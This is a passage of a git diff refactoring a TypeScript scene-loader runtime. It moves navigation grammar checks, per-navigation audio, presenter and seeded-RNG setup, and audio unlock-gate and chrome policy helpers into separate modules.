[`src/runtime/mode-profile.ts`](../../src/runtime/mode-profile.ts). Its site-level suppression was deleted with it. +`buildLoad` (score 18) and `runTarget` (score 23) were removed when the +scene loader was decomposed into cohesive single-responsibility units: +per-navigation audio/presenter/ctx construction moved to +[`src/runtime/scene-loader-ctx.ts`](../../src/runtime/scene-loader-ctx.ts), +the unlock-gate predicate and chrome dispatch policy to +[`src/runtime/scene-loader-guard.ts`](../../src/runtime/scene-loader-guard.ts), +and the `beat` / `mode` grammar re-check unified onto the shared +`NAVIGATION_GRAMMAR` source in +[`src/runtime/navigation.ts`](../../src/runtime/navigation.ts). Both +site-level suppressions were deleted with them. + ### Test fixtures and helpers These three test offenders are isolated functions, not part of the diff --git a/src/runtime/navigation.ts b/src/runtime/navigation.ts index b6ac4e1..8c330db 100644 --- a/src/runtime/navigation.ts +++ b/src/runtime/navigation.ts @@ -106,6 +106,47 @@ export interface NavigationTarget { const GRAMMAR_KEYS = ['scene', 'composition', 'index', 'beat', 'mode'] as const; +/** Stable prefix every grammar diagnostic carries (see {@link fail}). */ +export const NAVIGATION_GRAMMAR_PREFIX = 'navigation grammar is invalid:'; + +/** + * The locator kinds a `beat` may pair with (ADR-013): a beat positions + * a scene timeline, so the target must address a single scene. + */ +function isSceneLikeLocator(locator: NavigationLocator): boolean { + return ( + locator.kind === 'scene' || + locator.kind === 'composition-scene' || + locator.kind === 'composition-index' + ); +} + +/** + * The single source of truth for ADR-013's `beat` / `mode` grammar + * rules. Both {@link parseNavigationSearch} (URL boundary) and the + * scene loader's defense-in-depth re-check (programmatic / forged + * `NavigationTarget`s) consume these predicates + condition messages + * so the rules — and their exact diagnostic wording — live in one + * place. The condition strings are the suffix after + * {@link NAVIGATION_GRAMMAR_PREFIX}; consumers prepend the prefix. + */ +export const NAVIGATION_GRAMMAR = Object.freeze({ + beatKebab: Object.freeze({ + valid: (beat: string): boolean => isKebabIdentifier(beat), + condition: `"beat" must be a non-empty lowercase kebab-case string (${KEBAB_IDENTIFIER_FORM})`, + }), + beatSceneLike: Object.freeze({ + valid: isSceneLikeLocator, + condition: + '"beat" requires a scene-like target ("scene", "composition" + "scene", or "composition" + "index")', + }), + mode: Object.freeze({ + valid: (mode: string): boolean => (NAVIGATION_MODES as readonly string[]).includes(mode), + condition: (mode: string): string => + `"mode" unknown mode "${mode}" — allowed: ${NAVIGATION_MODES.join(', ')}`, + }), +}); + // ADR-013 defines `index` as "base-10, zero-based, non-negative safe // integer." The pattern enforces only the base-10 digit set; leading // zeros (e.g. `01`) are accepted because the ADR does not forbid @@ -120,7 +161,7 @@ const INDEX_PATTERN = /^\d+$/; * field-specific detail. */ function fail(condition: string): never { - throw new Error(`navigation grammar is invalid: ${condition}`); + throw new Error(`${NAVIGATION_GRAMMAR_PREFIX} ${condition}`); } function toSearchParams(input: URLSearchParams | string): URLSearchParams { @@ -146,6 +187,11 @@ function validateKebab(field: string, value: string): void { } } +// `beat` is the only kebab field whose diagnostic is shared verbatim +// with the loader's defense-in-depth re-check, so its rule lives in +// `NAVIGATION_GRAMMAR`; `scene` / `composition` reuse `validateKebab` +// (same wording, parser-only) to avoid widening the shared source. + function parseIndex(raw: string): number { if (!INDEX_PATTERN.test(raw)) { fail('"index" must be a base-10 non-negative integer (e.g. 0, 1, 12)'); @@ -162,12 +208,12 @@ function parseIndex(raw: string): number { } function parseMode(raw: string): NavigationMode { - // The membership check is correct as written; the type assertion - // documents that callers receive a typed mode, not a bare string. - if ((NAVIGATION_MODES as readonly string[]).includes(raw)) { + // The membership check is the shared `NAVIGATION_GRAMMAR.mode` rule; + // the type assertion documents that callers receive a typed mode. + if (NAVIGATION_GRAMMAR.mode.valid(raw)) { return raw as NavigationMode; } - fail(`"mode" unknown mode "${raw}" — allowed: ${NAVIGATION_MODES.join(', ')}`); + fail(NAVIGATION_GRAMMAR.mode.condition(raw)); } function buildLocator( @@ -202,16 +248,8 @@ function buildLocator( function ensureBeatHasSceneLikeTarget(beat: string | undefined, locator: NavigationLocator): void { if (beat === undefined) return; - if ( - locator.kind === 'scene' || - locator.kind === 'composition-scene' || - locator.kind === 'composition-index' - ) { - return; - } - fail( - '"beat" requires a scene-like target ("scene", "composition" + "scene", or "composition" + "index")', - ); + if (NAVIGATION_GRAMMAR.beatSceneLike.valid(locator)) return; + fail(NAVIGATION_GRAMMAR.beatSceneLike.condition); } /** @@ -263,6 +301,52 @@ export function parseNavigationSearch(input: URLSearchParams | string): Navigati return Object.freeze(target); } +/** + * Build a grammar `Error` (prefixed with {@link NAVIGATION_GRAMMAR_PREFIX}) + * from a condition string, so the loader's defense-in-depth re-check + * produces byte-identical diagnostics to {@link parseNavigationSearch}. + */ +function grammarError(condition: string): Error { + return new Error(`${NAVIGATION_GRAMMAR_PREFIX} ${condition}`); +} + +/** + * Defense-in-depth for ADR-013's `beat` grammar (PUL-F011). + * {@link parseNavigationSearch} enforces these rules on URL input, but + * `NavigationTarget` is an exported type that non-parser callers + * (event-detail unmarshaling, programmatic navigation, test harnesses) + * can construct directly. Re-checking at the loader boundary stops a + * hand-built target with an invalid `beat` from reaching the runner. + * Returns an `Error` carrying the parser's exact grammar message, or + * `null` when no further check is needed. Consumes {@link NAVIGATION_GRAMMAR} + * so the rule lives in one place yet the trust seam is preserved. + */ +export function validateBeatGrammar(target: NavigationTarget): Error | null { + if (target.beat === undefined) return null; + if (!NAVIGATION_GRAMMAR.beatKebab.valid(target.beat)) { + return grammarError(NAVIGATION_GRAMMAR.beatKebab.condition); + } + if (!NAVIGATION_GRAMMAR.beatSceneLike.valid(target.locator)) { + return grammarError(NAVIGATION_GRAMMAR.beatSceneLike.condition); + } + return null; +} + +/** + * Defense-in-depth for ADR-007's mode allowlist (PUL-F012). Symmetric + * to {@link validateBeatGrammar}: re-checks a programmatically-built + * `target.mode` against {@link NAVIGATION_GRAMMAR} before it reaches + * {@link effectiveMode} and the scene ctx. Returns an `Error` with the + * parser's exact message, or `null` when no further check is needed. + */ +export function validateModeGrammar(target: NavigationTarget): Error | null { + if (target.mode === undefined) return null; + if (!NAVIGATION_GRAMMAR.mode.valid(target.mode)) { + return grammarError(NAVIGATION_GRAMMAR.mode.condition(target.mode)); + } + return null; +} + /** * Derive the effective workbench mode for the runtime/core dispatch * boundary (PUL-F012). When `target.mode` is present, that mode is diff --git a/src/runtime/scene-loader-ctx.ts b/src/runtime/scene-loader-ctx.ts new file mode 100644 index 0000000..2f0d718 --- /dev/null +++ b/src/runtime/scene-loader-ctx.ts @@ -0,0 +1,296 @@ +// Scene-loader per-navigation context construction — PUL-F008. +// +// `scene-loader.ts` orchestrates the navigation queue, abort lifecycle, +// and stage-attr envelope. This module owns the cohesive sub-concern it +// delegates to: building the per-navigation audio service, presenter +// pipe, deterministic RNG seed, and the per-occurrence `ctx` factory — +// the work `createSceneLoader.buildLoad` used to inline. Pulling it here +// keeps `buildLoad` within the cognitive-complexity budget and gives the +// ctx-assembly seam a single home. +// +// References: +// - PUL-F018 / ADR-021 — deterministic per-navigation RNG seed. +// - PUL-F024 / PUL-F026 / ADR-004 — per-navigation audio service. +// - PUL-F025 / ADR-023 — presenter pipe + master-mute audio handler. +// - issue #99 — per-occurrence activation identity + RNG stream. + +import type { AssetUrlPolicy } from './asset-preloader'; +import { + type AudioCueLogEntry, + type AudioEngine, + type AudioOutputPolicy, + type AudioService, + type AudioServiceOptions, + type CueGateControl, + createAudioService, +} from './audio'; +import type { SceneActivation } from './composition-resolver'; +import { profileFor } from './mode-profile'; +import type { NavigationLocator, NavigationMode, NavigationTarget } from './navigation'; +import { + type PresenterCommandSource, + type PresenterController, + createPresenterController, +} from './presenter'; +import { createSeededRng } from './rng'; +import type { SceneNavigationTarget } from './scene-navigation'; +import { PULSAR_RUNTIME_VERSION } from './version'; + +/** + * The audio source URLs the resolved (possibly head-truncated) slice + * declared as audio — every scene's static `SceneModule.audio` list in + * the slice (just the head scene's for a bare `kind: 'scene'` target, + * the full composition slice's for composition targets). The + * per-navigation audio service uses this as the SCENE-FACING source + * allowlist so `ctx.audio.load()` can only register URLs the scene + * EXPLICITLY declared as audio — not any URL that happens to be in + * `scene.assets`. This keeps the PUL-F030 / ADR-029 unlock-gate + * predicate and the audio-service allowlist consistent, so the + * present-mode unlock gate cannot be bypassed by a scene that hides + * its audio in `assets`. + * + * The PUL-F014 composition audio bed is deliberately NOT added here: + * the bed is composition-owned runtime infrastructure gated against its + * OWN declared `src` inside `startBed`, so exposing it through the scene + * allowlist would let a scene replay the bed as its own sound. + */ +function collectAudioSources(target: SceneNavigationTarget): readonly string[] { + return target.composition === undefined + ? target.scene.audio + : target.composition.sceneSlice.flatMap((scene) => scene.audio); +} + +/** + * Count, per scene id, how many times it occurs in the resolved + * navigation slice (issue #99). The loader's occurrence-safe audio + * teardown consults this so the scene-scoped audio group (shared by + * every occurrence of that scene because `ctx.audio` is one + * slice-scoped service) is stopped exactly once — when the LAST + * occurrence of that id has been cleaned up — rather than once per + * occurrence. For a single-occurrence scene the count is `1`. + */ +export function countSceneOccurrences(target: SceneNavigationTarget): Map { + const scenes = target.composition === undefined ? [target.scene] : target.composition.sceneSlice; + const counts = new Map(); + for (const scene of scenes) { + counts.set(scene.id, (counts.get(scene.id) ?? 0) + 1); + } + return counts; +} + +/** + * Map the effective workbench mode to the per-navigation + * {@link AudioOutputPolicy} (PUL-F024 / PUL-F026 / ADR-004). Sourced + * from the mode profile so the mode→policy table lives in one place. + */ +function audioOutputPolicyFor(mode: NavigationMode): AudioOutputPolicy { + return profileFor(mode).audioPolicy; +} + +/** + * Serialize a {@link NavigationLocator} into a stable, collision-free + * string. Every locator kind contributes its discriminant plus its + * identifier fields, so two distinct addressed targets never fold to + * the same string. Pure helper for {@link deriveNavigationSeed}. + */ +function serializeLocator(locator: NavigationLocator): string { + switch (locator.kind) { + case 'none': + return 'none'; + case 'scene': + return `scene:${locator.scene}`; + case 'composition': + return `composition:${locator.composition}`; + case 'composition-scene': + return `composition:${locator.composition}/scene:${locator.scene}`; + case 'composition-index': + return `composition:${locator.composition}/index:${locator.index}`; + } +} + +/** + * PUL-F018 / ADR-021: derive the per-navigation deterministic seed + * string for the scene-context RNG ({@link import('./scene-loader').WorkbenchSceneCtx.rng}). + * + * The seed is built only from bounded, deterministic inputs the + * workbench URL already carries: the normalized navigation locator, the + * addressed beat, and `PULSAR_RUNTIME_VERSION` so a code revision + * changes the seed. It deliberately does NOT read the wall clock, + * storage, cookies, `history.state`, process state, or the workbench + * `mode` (the addressed frame is mode-independent). Under + * `mode=screenshot` this makes the captured frame reproducible across + * reloads. Pure function, exported so the per-navigation seam is + * unit-testable in isolation. + */ +export function deriveNavigationSeed(target: NavigationTarget): string { + return [ + 'pulsar-rng', + serializeLocator(target.locator), + `beat:${target.beat ?? ''}`, + `v:${PULSAR_RUNTIME_VERSION}`, + ].join('|'); +} + +/** + * PUL-F018 / ADR-021: combine the per-navigation seed from + * {@link deriveNavigationSeed} with one scene occurrence's identity + * ({@link SceneActivation}) so every occurrence gets its OWN seeded + * generator. A composition slice that repeats a scene id (issue #99) + * therefore hands each occurrence an independent random stream. + */ +function deriveActivationSeed(navigationSeed: string, activation: SceneActivation): string { + return `${navigationSeed}|occ:${activation.sceneId}#${activation.entryIndex}.${activation.occurrence}`; +} + +/** A bound scene-ctx base, omitting the per-occurrence fields. */ +type BaseCtx = unknown; + +/** The per-occurrence ctx factory the resolver lifecycle consumes. */ +export type SceneCtxFactory = (activation: SceneActivation) => unknown; + +/** + * The per-navigation services the loader threads into the resolver + * lifecycle: the audio service (for happy-path `stopAll()` + per-scene + * group teardown), the presenter controller (`mode=present` only), the + * presenter teardown signal, and the per-occurrence ctx factory. + */ +export interface NavigationServices { + readonly audio: AudioService; + readonly presenter: PresenterController | undefined; + readonly presenterAbort: AbortController | null; + readonly buildSceneCtx: SceneCtxFactory; +} + +/** Dependencies {@link buildNavigationServices} captures from the loader. */ +export interface NavigationServicesDeps { + readonly audioEngine: AudioEngine; + readonly assetPolicy?: AssetUrlPolicy; + readonly onAudioCue?: (entry: AudioCueLogEntry) => void; + readonly presenterCommands?: PresenterCommandSource; + readonly onError: (err: unknown) => void; + readonly buildCtx: ( + mode: NavigationMode, + audio: AudioService, + presenter?: PresenterController, + ) => BaseCtx; +} + +/** + * Construct the per-navigation presenter pipeline: + * - `presenterAbort` — a separate `AbortController` whose signal drives + * the `PresenterController`'s teardown. Distinct from the navigation + * `controller` so the navigation signal can stay un-aborted across a + * successful completion (PUL-F013 boundary). Wired to fire on + * navigation abort AND aborted by the loader's `finally` on normal + * completion. + * - `presenter` — the `PresenterController` itself (PUL-F020 / ADR-023), + * with the PUL-F025 audio handler (presenter master mute / ADR-004) + * attached. This is the only seam where both the controller and the + * per-navigation `AudioService` are in scope. + * + * Both are `null` / `undefined` when the loader does NOT build a + * controller for this navigation: non-present mode OR the workbench did + * not supply a `presenterCommands` source. + */ +function buildPresenterPipe( + deps: NavigationServicesDeps, + mode: NavigationMode, + controller: AbortController, + audio: AudioService, +): { presenter: PresenterController | undefined; presenterAbort: AbortController | null } { + if (mode !== 'present' || deps.presenterCommands === undefined) { + return { presenter: undefined, presenterAbort: null }; + } + const presenterAbort = new AbortController(); + // Propagate navigation abort → presenter abort. Without this wiring, + // supersession-time `controller.abort()` would not tear down the + // presenter controller (bound to `presenterAbort.signal`). + if (controller.signal.aborted) { + presenterAbort.abort(); + } else { + controller.signal.addEventListener('abort', () => presenterAbort.abort(), { once: true }); + } + const presenter = createPresenterController( + deps.presenterCommands, + presenterAbort.signal, + deps.onError, + ); + // PUL-F025 / ADR-004 audio handler. On `'toggle-master-mute'` flip the + // engine's current master mute via the audio boundary; `audio.mute()` + // validates the boolean and is inert post-dispose. + presenter.subscribe((cmd) => { + if (cmd.kind !== 'toggle-master-mute') return; + audio.mute(!audio.isMuted()); + }); + return { presenter, presenterAbort }; +} + +/** + * Build the audio-service options for the per-navigation + * {@link AudioService}. Split out so the conditional-spread density does + * not charge {@link buildNavigationServices}'s cognitive complexity. + */ +function audioServiceOptions( + deps: NavigationServicesDeps, + resolved: SceneNavigationTarget, + signal: AbortSignal, + outputPolicy: AudioOutputPolicy, + suppressBed: boolean, + audioCueGate: CueGateControl | undefined, +): AudioServiceOptions { + return { + signal, + outputPolicy, + allowedSources: collectAudioSources(resolved), + ...(deps.assetPolicy === undefined ? {} : { assetPolicy: deps.assetPolicy }), + onError: deps.onError, + ...(deps.onAudioCue === undefined ? {} : { onCue: deps.onAudioCue }), + // PUL-F014 / ADR-004: the composition audio bed, suppressed under + // `mode=standalone` (the loader is the mode-dispatch point that + // decides bed vs no-bed, keeping the resolver mode-opaque). + ...(resolved.composition?.audioBed === undefined ? {} : { bed: resolved.composition.audioBed }), + bedSuppressed: suppressBed, + // PUL-F017 / ADR-020: the shared cue gate (scrub only). The audio + // service consults it; the timeline adapter toggles it. + ...(audioCueGate === undefined ? {} : { cueGate: audioCueGate }), + }; +} + +/** + * Build the per-navigation audio service, presenter pipe, and the + * per-occurrence ctx factory (PUL-F024 / PUL-F025 / PUL-F018). The + * audio service is built FIRST so the presenter pipe's mute handler can + * close over it; the ctx factory then layers each occurrence's + * `activation` + seeded `rng` onto the navigation-scoped `buildCtx` + * base. Throws on a failing `createAudioService` / `buildCtx`; the + * caller aborts the controller and rolls back stage attrs. + */ +export function buildNavigationServices( + deps: NavigationServicesDeps, + resolved: SceneNavigationTarget, + target: NavigationTarget, + mode: NavigationMode, + controller: AbortController, + audioCueGate: CueGateControl | undefined, +): NavigationServices { + const audio = createAudioService( + deps.audioEngine, + audioServiceOptions( + deps, + resolved, + controller.signal, + audioOutputPolicyFor(mode), + profileFor(mode).suppressBed, + audioCueGate, + ), + ); + const { presenter, presenterAbort } = buildPresenterPipe(deps, mode, controller, audio); + const baseCtx = deps.buildCtx(mode, audio, presenter); + const navigationSeed = deriveNavigationSeed(target); + const buildSceneCtx: SceneCtxFactory = (activation) => ({ + ...(baseCtx as object), + activation, + rng: createSeededRng(deriveActivationSeed(navigationSeed, activation)), + }); + return { audio, presenter, presenterAbort, buildSceneCtx }; +} diff --git a/src/runtime/scene-loader-guard.ts b/src/runtime/scene-loader-guard.ts new file mode 100644 index 0000000..cb4edb1 --- /dev/null +++ b/src/runtime/scene-loader-guard.ts @@ -0,0 +1,134 @@ +// Scene-loader navigation guards — PUL-F008. +// +// Pure / near-pure decision helpers `createSceneLoader` delegates to so +// `runTarget` and `enqueue` stay within the cognitive-complexity budget: +// - the present-mode audio unlock-gate predicate + builder (PUL-F030); +// - the composition-scoped chrome dispatch policy (PUL-F031). +// +// These are the navigation "trust seams" — they re-derive their inputs +// from the resolved target rather than trusting cached state. +// +// References: +// - PUL-F030 / ADR-029 — present-mode audio unlock gate. +// - PUL-F031 / ADR-031 — composition-scoped chrome dispatch. + +import type { CompositionRegistry } from './composition-registry'; +import { type NavigationMode, effectiveMode } from './navigation'; +import type { NavigationTarget } from './navigation'; +import type { SceneRegistry } from './registry'; +import { sceneDeclaresAudio } from './scene'; +import { type SceneNavigationTarget, resolveSceneNavigation } from './scene-navigation'; + +/** + * PUL-F030 / ADR-029: the internal gate-prelude callback the loader + * awaits BEFORE the resolver lifecycle. The public-facing + * `AudioUnlockAdapter` receives the semantic composition context; this + * helper closes over that context, leaving only the navigation-bound + * `signal` + engine-bound `unlock` supplied at gate-invocation time. + */ +export type UnlockGate = (env: { + readonly signal: AbortSignal; + readonly unlock: () => Promise; +}) => Promise; + +/** + * PUL-F030 / ADR-029: the workbench-supplied unlock adapter's bounded + * semantic context. Declared here (and re-exported from `scene-loader.ts`) + * so the gate predicate and the adapter signature share one definition. + */ +export interface AudioUnlockContext { + readonly compositionId: string; + readonly sceneIds: readonly string[]; + readonly signal: AbortSignal; + readonly unlock: () => Promise; +} + +/** PUL-F030 / ADR-029: signature of the workbench-supplied unlock adapter. */ +export type AudioUnlockAdapter = (gate: AudioUnlockContext) => Promise; + +/** + * PUL-F030 / ADR-029: decide whether the present-mode audio unlock gate + * applies to this navigation, and if so build it. Returns: + * - `null` — the gate does not apply (mode is not present, no + * composition slice, or no scene in the slice declares audio). + * - `'fail-loud'` — the gate applies but no adapter is supplied + * (workbench-bootstrap defect; the gate IS the structural defense). + * - `UnlockGate` — a closure that invokes the adapter with the + * bounded composition context (id, scene ids, signal, unlock); the + * lifecycle awaits it before preload / `create` / `timeline` / + * master playback. The adapter receives no scene objects, source + * URLs, asset payloads, or Howler handles (ADR-029 guardrail). + */ +export function resolveUnlockGate( + adapter: AudioUnlockAdapter | undefined, + target: NavigationTarget, + resolved: SceneNavigationTarget, +): UnlockGate | 'fail-loud' | null { + if (effectiveMode(target) !== 'present') return null; + const composition = resolved.composition; + if (composition === undefined) return null; + if (!composition.sceneSlice.some(sceneDeclaresAudio)) return null; + if (adapter === undefined) return 'fail-loud'; + const compositionId = composition.id; + const sceneIds = Object.freeze(composition.sceneSlice.map((scene) => scene.id)); + return ({ signal, unlock }) => adapter({ compositionId, sceneIds, signal, unlock }); +} + +/** + * PUL-F031 / ADR-031: workbench-supplied chrome controller surface. The + * loader only needs to apply a validated mode + composition overrides. + */ +export interface WorkbenchChromeAdapter { + applyMode(mode: NavigationMode): void; + setForcedVisibility?(visibility: 'hidden' | null): void; + setAtmosphere?(atmosphere: 'cinematic' | null): void; +} + +/** The registries {@link applyChromeForTarget} resolves the chrome policy against. */ +export interface ChromeResolveDeps { + readonly scenes: SceneRegistry; + readonly compositions: CompositionRegistry; +} + +function chromeBehaviorFromResolved(resolved: SceneNavigationTarget | null): unknown { + const head = resolved?.composition?.manifestSlice[0]; + if (head === null || typeof head !== 'object') return undefined; + return (head as { readonly behavior?: { readonly chrome?: unknown } }).behavior?.chrome; +} + +function chromeBehaviorForTarget(deps: ChromeResolveDeps, target: NavigationTarget): unknown { + try { + return chromeBehaviorFromResolved( + resolveSceneNavigation(target, { scenes: deps.scenes, compositions: deps.compositions }), + ); + } catch { + return undefined; + } +} + +/** + * Composition-level chrome policy: the head manifest entry's + * `behavior.chrome` can force visibility hidden or opt into cinematic + * atmosphere. The default is explicit reset (`forcedVisibility=null`, + * `atmosphere=null`) so a navigation away from an atmospheric deck + * clears that state immediately, before serialized scene cleanup. The + * forced-visibility application precedes `applyMode` so chrome hides + * before any cleanup drains (codex review, cycle 1). + */ +export function applyChromeForTarget( + chrome: WorkbenchChromeAdapter, + deps: ChromeResolveDeps, + target: NavigationTarget, +): void { + const chromeBehavior = chromeBehaviorForTarget(deps, target); + const forcedVisibility = chromeBehavior === 'hidden' ? 'hidden' : null; + const atmosphere = + typeof chromeBehavior === 'object' && + chromeBehavior !== null && + (chromeBehavior as { readonly atmosphere?: unknown }).atmosphere === 'cinematic' + ? 'cinematic' + : null; + chrome.setForcedVisibility?.(forcedVisibility); + chrome.setAtmosphere?.(atmosphere); + chrome.applyMode(effectiveMode(target)); +} diff --git a/src/runtime/scene-loader.ts b/src/runtime/scene-loader.ts index 81f68db..5661c76 100644 --- a/src/runtime/scene-loader.ts +++ b/src/runtime/scene-loader.ts @@ -33,10 +33,8 @@ import type { AssetUrlPolicy } from './asset-preloader'; import { type AudioCueLogEntry, type AudioEngine, - type AudioOutputPolicy, type AudioService, type CueGateControl, - createAudioService, createCueGate, noopAudioEngine, } from './audio'; @@ -48,14 +46,13 @@ import type { SceneFailureEvent, } from './composition-resolver'; import { describeErrorDetailed, formatSceneContext } from './error'; -import { KEBAB_IDENTIFIER_FORM, isKebabIdentifier } from './identifier'; import { profileFor } from './mode-profile'; import { - NAVIGATION_MODES, - type NavigationLocator, type NavigationMode, type NavigationTarget, effectiveMode, + validateBeatGrammar, + validateModeGrammar, } from './navigation'; import { type PresenterCommandSource, @@ -69,15 +66,25 @@ import { buildPrompterScript, } from './prompter'; import type { SceneRegistry } from './registry'; -import { createSeededRng } from './rng'; -import { sceneDeclaresAudio } from './scene'; +import { + buildNavigationServices, + countSceneOccurrences, + deriveNavigationSeed, +} from './scene-loader-ctx'; +import { + type AudioUnlockAdapter, + type AudioUnlockContext, + type UnlockGate, + type WorkbenchChromeAdapter, + applyChromeForTarget, + resolveUnlockGate, +} from './scene-loader-guard'; import { type SceneNavigationTarget, loadSceneNavigationTarget, resolveSceneNavigation, } from './scene-navigation'; import { type TimelineEngine, sceneSegmentLabel } from './timeline'; -import { PULSAR_RUNTIME_VERSION } from './version'; /** The minimal subset of an HTMLElement the loader writes to. */ export interface StageElement { @@ -451,75 +458,11 @@ export interface SceneLoaderOptions { readonly chrome?: WorkbenchChromeAdapter; } -/** - * PUL-F031 / ADR-031: workbench-supplied chrome controller surface. - * The loader only needs the one operation — apply a validated mode - * to chrome — so the interface stays narrow. The full chrome - * controller lives in {@link import('./workbench-chrome').WorkbenchChromeController} - * with a `dispose()` method the workbench (not the loader) calls on - * HMR teardown. - */ -export interface WorkbenchChromeAdapter { - applyMode(mode: NavigationMode): void; - /** - * Optional composition-level override: force chrome visibility hidden - * regardless of the mode-derived default. Used when a composition's - * head entry declares `behavior.chrome: 'hidden'` (e.g. a deck that - * owns its own atmospherics). Pass `null` to clear the override. - * Optional on the adapter so existing chrome implementations stay - * compatible — the loader only calls it when defined. - */ - setForcedVisibility?(visibility: 'hidden' | null): void; - /** - * Optional composition-scoped atmospheric layer switch. The global - * workbench default is no animated atmospheric background; decks that - * were designed for it opt in from the composition manifest. - */ - setAtmosphere?(atmosphere: 'cinematic' | null): void; -} - -/** - * PUL-F030 / ADR-029: semantic context handed to the workbench-supplied - * unlock adapter. The adapter MUST NOT receive raw scene objects, source - * URLs, scheme parsers, Howler handles, request headers, cookies, or - * any payload outside this shape — the gate is the structural defense, - * and the workbench gesture surface only needs bounded identifiers and - * a callback into the audio boundary. - */ -export interface AudioUnlockContext { - /** Composition id (from the resolved navigation target). */ - readonly compositionId: string; - /** - * Scene ids in the resolved composition slice, in playback order. - * Lets the workbench prompt copy (when it lands) reflect what is - * about to play without exposing scene objects or URLs. - */ - readonly sceneIds: readonly string[]; - /** - * Navigation `AbortSignal`. Adapters that show a gesture surface - * MUST listen for abort and reject (or resolve cleanly without - * starting playback) so a superseded navigation does not start the - * old composition after the user finally clicks. - */ - readonly signal: AbortSignal; - /** - * Audio-boundary unlock callback bound to the runtime audio engine. - * The adapter calls this AFTER collecting the user gesture; the - * engine resumes its `AudioContext` so subsequent playback satisfies - * browser autoplay policy. Idempotent. - */ - readonly unlock: () => Promise; -} - -/** - * PUL-F030 / ADR-029: signature of the workbench-supplied unlock - * adapter. Resolves when the gate is satisfied (engine unlocked, the - * navigation may proceed); rejects when the user dismissed the gesture - * or another error prevents unlock. The loader awaits the returned - * promise BEFORE running asset preload / scene lifecycle for the - * present-mode composition. - */ -export type AudioUnlockAdapter = (gate: AudioUnlockContext) => Promise; +// PUL-F031 / ADR-031 chrome adapter + PUL-F030 / ADR-029 unlock-gate +// types live in `./scene-loader-guard` alongside the helpers that +// consume them; re-exported here (the imported bindings above) so the +// loader's public surface is byte-identical. +export type { AudioUnlockAdapter, AudioUnlockContext, WorkbenchChromeAdapter }; /** * Returned by {@link createSceneLoader}. Each call to `handle(target)` @@ -586,148 +529,11 @@ function isPureAbort(err: unknown, signal: AbortSignal): boolean { ); } -/** - * The audio source URLs the resolved (possibly head-truncated) slice - * declared as audio — every scene's static {@link import('./scene').SceneModule.audio} - * list in the slice (just the head scene's for a bare `kind: 'scene'` - * target, the full composition slice's for composition targets). The - * per-navigation audio service uses this as the SCENE-FACING source - * allowlist so `ctx.audio.load()` can only register URLs the scene - * EXPLICITLY declared as audio — not any URL that happens to be in - * `scene.assets`. This makes the PUL-F030 / ADR-029 unlock-gate - * predicate ({@link import('./scene').sceneDeclaresAudio}) AND the - * audio-service allowlist consistent: a scene that registers audio - * MUST declare it in `scene.audio`, so the present-mode unlock gate - * cannot be bypassed by a scene that hides its audio in `assets` - * (codex review, cycle 1 — class finding "audio gate can be bypassed - * by undeclared ctx.audio loads"). `scene.audio` is validated at the - * schema boundary to be a subset of `scene.assets`, so the preloader - * still warms every declared audio URL. - * - * The PUL-F014 composition audio bed is deliberately NOT added here. - * The bed is composition-owned runtime infrastructure, not a - * `scene.audio` entry, and exposing its source through the scene - * allowlist would let a scene `ctx.audio.load()` the bed URL as its - * own sound — playing the bed even under `mode=standalone` where it - * is suppressed. The audio service gates the bed against the bed's - * OWN declared `src` inside `startBed`, so the scene allowlist stays - * limited to `scene.audio` (codex review, cycle 1 — "composition bed - * source leaks into scene audio allowlist"). - * - * Pure function (no closure captures), hoisted to module scope so the - * loader factory does not recreate it per instance. - */ -function collectAudioSources(target: SceneNavigationTarget): readonly string[] { - return target.composition === undefined - ? target.scene.audio - : target.composition.sceneSlice.flatMap((scene) => scene.audio); -} - -/** - * Count, per scene id, how many times it occurs in the resolved - * navigation slice (issue #99). The loader's occurrence-safe audio - * teardown consults this so the scene-scoped audio group - * (`group: `, shared by every occurrence of that scene because - * `ctx.audio` is one slice-scoped service) is stopped exactly once — - * when the LAST occurrence of that id has been cleaned up — rather than - * once per occurrence. Stopping it on the first occurrence's cleanup - * would tear down a still-active sibling occurrence's audio. For a - * single-occurrence scene the count is `1`, so teardown fires on its - * only cleanup, unchanged. Pure function (no closure captures), hoisted - * to module scope so the loader factory does not recreate it per - * instance. - */ -function countSceneOccurrences(target: SceneNavigationTarget): Map { - const scenes = target.composition === undefined ? [target.scene] : target.composition.sceneSlice; - const counts = new Map(); - for (const scene of scenes) { - counts.set(scene.id, (counts.get(scene.id) ?? 0) + 1); - } - return counts; -} - -/** - * Map the effective workbench mode to the per-navigation - * {@link AudioOutputPolicy} (PUL-F024 / PUL-F026 / ADR-004): - * - * - `'rehearsal'` → `'log-cues'` - * - `'screenshot'` / `'paused'` → `'silent'` - * - every other lifecycle-running mode → `'audible'` - * - * Pure function (no closure captures), hoisted to module scope so the - * loader's `buildLoad` stays within Sonar's cognitive-complexity - * budget and the mode→policy table lives in one place. - */ -function audioOutputPolicyFor(mode: NavigationMode): AudioOutputPolicy { - return profileFor(mode).audioPolicy; -} - -/** - * Serialize a {@link NavigationLocator} into a stable, collision-free - * string. Every locator kind contributes its discriminant plus its - * identifier fields, so two distinct addressed targets never fold to - * the same string. Pure helper for {@link deriveNavigationSeed}. - */ -function serializeLocator(locator: NavigationLocator): string { - switch (locator.kind) { - case 'none': - return 'none'; - case 'scene': - return `scene:${locator.scene}`; - case 'composition': - return `composition:${locator.composition}`; - case 'composition-scene': - return `composition:${locator.composition}/scene:${locator.scene}`; - case 'composition-index': - return `composition:${locator.composition}/index:${locator.index}`; - } -} - -/** - * PUL-F018 / ADR-021: derive the per-navigation deterministic seed - * string for the scene-context RNG ({@link WorkbenchSceneCtx.rng}). - * - * The seed is built only from bounded, deterministic inputs the - * workbench URL already carries: the normalized navigation locator - * (the addressed scene / composition / index), the addressed beat, - * and `PULSAR_RUNTIME_VERSION` — ADR-021's "bundle/runtime revision - * literal" so a code revision changes the seed. It deliberately does - * NOT read the wall clock, `localStorage`, `sessionStorage`, cookies, - * `history.state`, `process.env`, `process.argv`, or the workbench - * `mode` (the addressed frame is mode-independent — `?scene=x&beat=y` - * names the same frame whether captured or played). - * - * Under `mode=screenshot` this makes the captured frame reproducible: - * the same workbench URL derives the same seed and so replays the same - * random sequence across reloads. A future explicit `seed=` URL - * parameter would populate this same derivation through the canonical - * `parseNavigationSearch` grammar — the seam ADR-021 reserves. - * - * Pure function (no closure captures), hoisted to module scope and - * exported so the per-navigation seam is unit-testable in isolation. - */ -export function deriveNavigationSeed(target: NavigationTarget): string { - return [ - 'pulsar-rng', - serializeLocator(target.locator), - `beat:${target.beat ?? ''}`, - `v:${PULSAR_RUNTIME_VERSION}`, - ].join('|'); -} - -/** - * PUL-F018 / 